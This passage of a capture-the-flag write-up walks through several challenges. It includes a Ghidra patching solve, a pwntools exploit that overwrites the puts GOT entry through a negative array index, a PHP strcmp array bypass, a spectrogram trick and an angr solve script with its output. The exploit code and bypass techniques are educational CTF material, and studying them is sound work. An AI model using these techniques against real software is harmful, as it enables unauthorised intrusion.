Throw the binary into Ghidra. We see a lot of undecompiled bytecode right after INT3 opcode because apparently INT3 messes with Ghidra. Fortunately we can manually patch INT3 to NOP in Ghidra (Right Click -> Patch Instruction) and Ghidra will automatically decompile the code for us.
We see that the main function calls an AES encryption function at 0x0010138e that uses the key at 0x001040a0 and the ivec at 0x001040b0 that results from a pseudo-random generating function at 0x00101582. We also see that there is conveniently a decryption function at 0x00101436. Since we know that the flag encrypts to the data at 0x00104040, we can then use Ghidra to patch the function to do decryption for us. The final result should look like this:
We then export the program (File -> Export Program... -> Original File) and run it with the input we found at 0x00104040 to get the flag flag{Okey_Okey_Okey_I_had_to_make_a_new_challenge}.
ArraysGaloree (pwn)
Throw the binary into Ghidra:
undefined4 main(void)
{
int *piVar1;
EVP_PKEY_CTX *in_stack_ffffffe0;
int local_1c;
EVP_PKEY_CTX **local_18;
int local_14;
undefined *local_10;
local_10 = &stack0x00000004;
init(in_stack_ffffffe0);
printf("Enter the index to write at: ");
piVar1 = &local_1c;
__isoc99_scanf(&DAT_0804a02e,piVar1);
if (local_1c < 8) {
puts("Current array: ");
for (local_14 = 0; local_14 < 8; local_14 = local_14 + 1) {
piVar1 = *(int **)(array + local_14 * 4);
printf("%d ",piVar1);
}
puts("");
printf("Enter the value to write: ",piVar1);
__isoc99_scanf(&DAT_0804a02e,&stack0xffffffe0);
local_18 = (EVP_PKEY_CTX **)(array + local_1c * 4);
*local_18 = in_stack_ffffffe0;
puts("");
}
else {
printf("Invalid index!");
}
return0;
}
Apparently local_1c can somehow be negative, allowing us to write into GOT of puts to call the win function at 0x080491c2:
from pwnlib import *
from pwn import *
context.binary = e = elf.ELF('chall')
array_addr = 0x0804c060
puts_addr = e.got.puts
val = (puts_addr - array_addr) // 4
win_addr = 0x080491c2
r = remote(server_addr, server_port)
r.send(str(val))
r.send('\n')
r.send(str(win_addr))
r.send('\n')
r.interactive()
Specter (misc)
Just turn on spectrogram in Audacity and there is a QR code... I somehow spent 2 hours on it :(
This is the same challenge from InCTF 2020 PolyRSA. See here.
Holmes (forensics)
This is the same challenge from InCTF 2020 Investigation Continues. See here.
MyPhPisGood! (web)
Source:
<?phpinclude('flag.php');
$msg = "Jycuam9pbihjaHIob3JkKGkpXjkwKSAgZm9yIGkgaW4gJyk/ND56PT8ueig/Ky8/KS56LykzND16LDM/LSk1Lyg5P3oqOyg7Nz8uPygnKQ==";
if(!isset($_GET['viewsource']))
{
die($msg);
}
echo"<h2>s3cur3 PHP</h2>";
echo"Hack your way to the flag (^_^)<br><br>";
highlight_file(__FILE__);
if(!isset($_GET['flag']))
{
die("Bye bye hacker");
}
if((strcmp($_GET['flag'],$flag)))
{
die("Gimme flag first, then enter!!!");
}
echo"Thanks for the flag :P<br><br>";
if(!isset($_GET['secret']))
{
die("Bye bye hacker");
}
$_p = 1729;
$_l = 13;
$l = strlen($_GET['secret']);
$_i = intval($_GET['secret']);
if($l !== $_l || $_i !== $_p)
{
die("System Failure Detected...");
}
echo"<h3>Yaaay...you have breached the most s3cur3 PHP code</h3>";
echo"<h3>Here is your flag: ⚑ </h3>";
echo"<!--$flag-->";
?>
Bascially the first string tells you to use viewsource. strcmp in PHP can be bypassed by passing an array into it, and the secret is easy to match. Just browse:
import angr
import claripy
ps = "./rev"
p = angr.Project(ps)
input_len = 0x16
flag_chars = [claripy.BVS("flag_%d" % i, 8) for i inrange(input_len)]
flag = claripy.Concat(*flag_chars)
st = p.factory.entry_state(
args=[ps, flag],
env={'team_name': 'bi0s'},
add_options=angr.options.unicorn
)
for k in flag_chars:
st.solver.add(k < 0x7F)
st.solver.add(k > 0x20)
sm = p.factory.simulation_manager(st)
sm.run()
for y in sm.deadended:
ifb'flag'in y.posix.dumps(1):
print(y.posix.dumps(1))
print(y.solver.eval(flag).to_bytes(0x16))
$ python3 -m IPython -i rev.py
Python 3.11.4 (main, Jun 9 2023, 07:59:55) [GCC 12.3.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.5.0 -- An enhanced Interactive Python. Type '?' for help.
WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2023-09-05 13:42:41,315 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 70 unconstrained bytes referenced from 0x73f8b0 (getenv+0x0 in libc.so.6 (0x3f8b0))
WARNING | 2023-09-05 13:42:41,323 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0046 with 10 unconstrained bytes referenced from 0x7a6d00 (strncmp+0x0 in libc.so.6 (0xa6d00))
WARNING | 2023-09-05 13:42:41,817 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefea6 with 10 unconstrained bytes referenced from 0x7a6ac0 (strlen+0x0 in libc.so.6 (0xa6ac0))
WARNING | 2023-09-05 13:42:41,818 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefec7 with 5 unconstrained bytes referenced from 0x7a6ac0 (strlen+0x0 in libc.so.6 (0xa6ac0))
WARNING | 2023-09-05 13:42:41,818 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefee0 with 8 unconstrained bytes referenced from 0x7a6ac0 (strlen+0x0 in libc.so.6 (0xa6ac0))
b'The flag is: flag{l34rn_7h3_b451c5_f1r57}'
b'l34rn_7h3_b451c5_f1r57'
In [1]:
Contact Information
Lawson Computer Science Building
305 N. University Street
West Lafayette, IN 47907-2107
United States of America
Institutional: luo401 [at] purdue [dot] edu
Personal: zhtluo [at] gmail [dot] com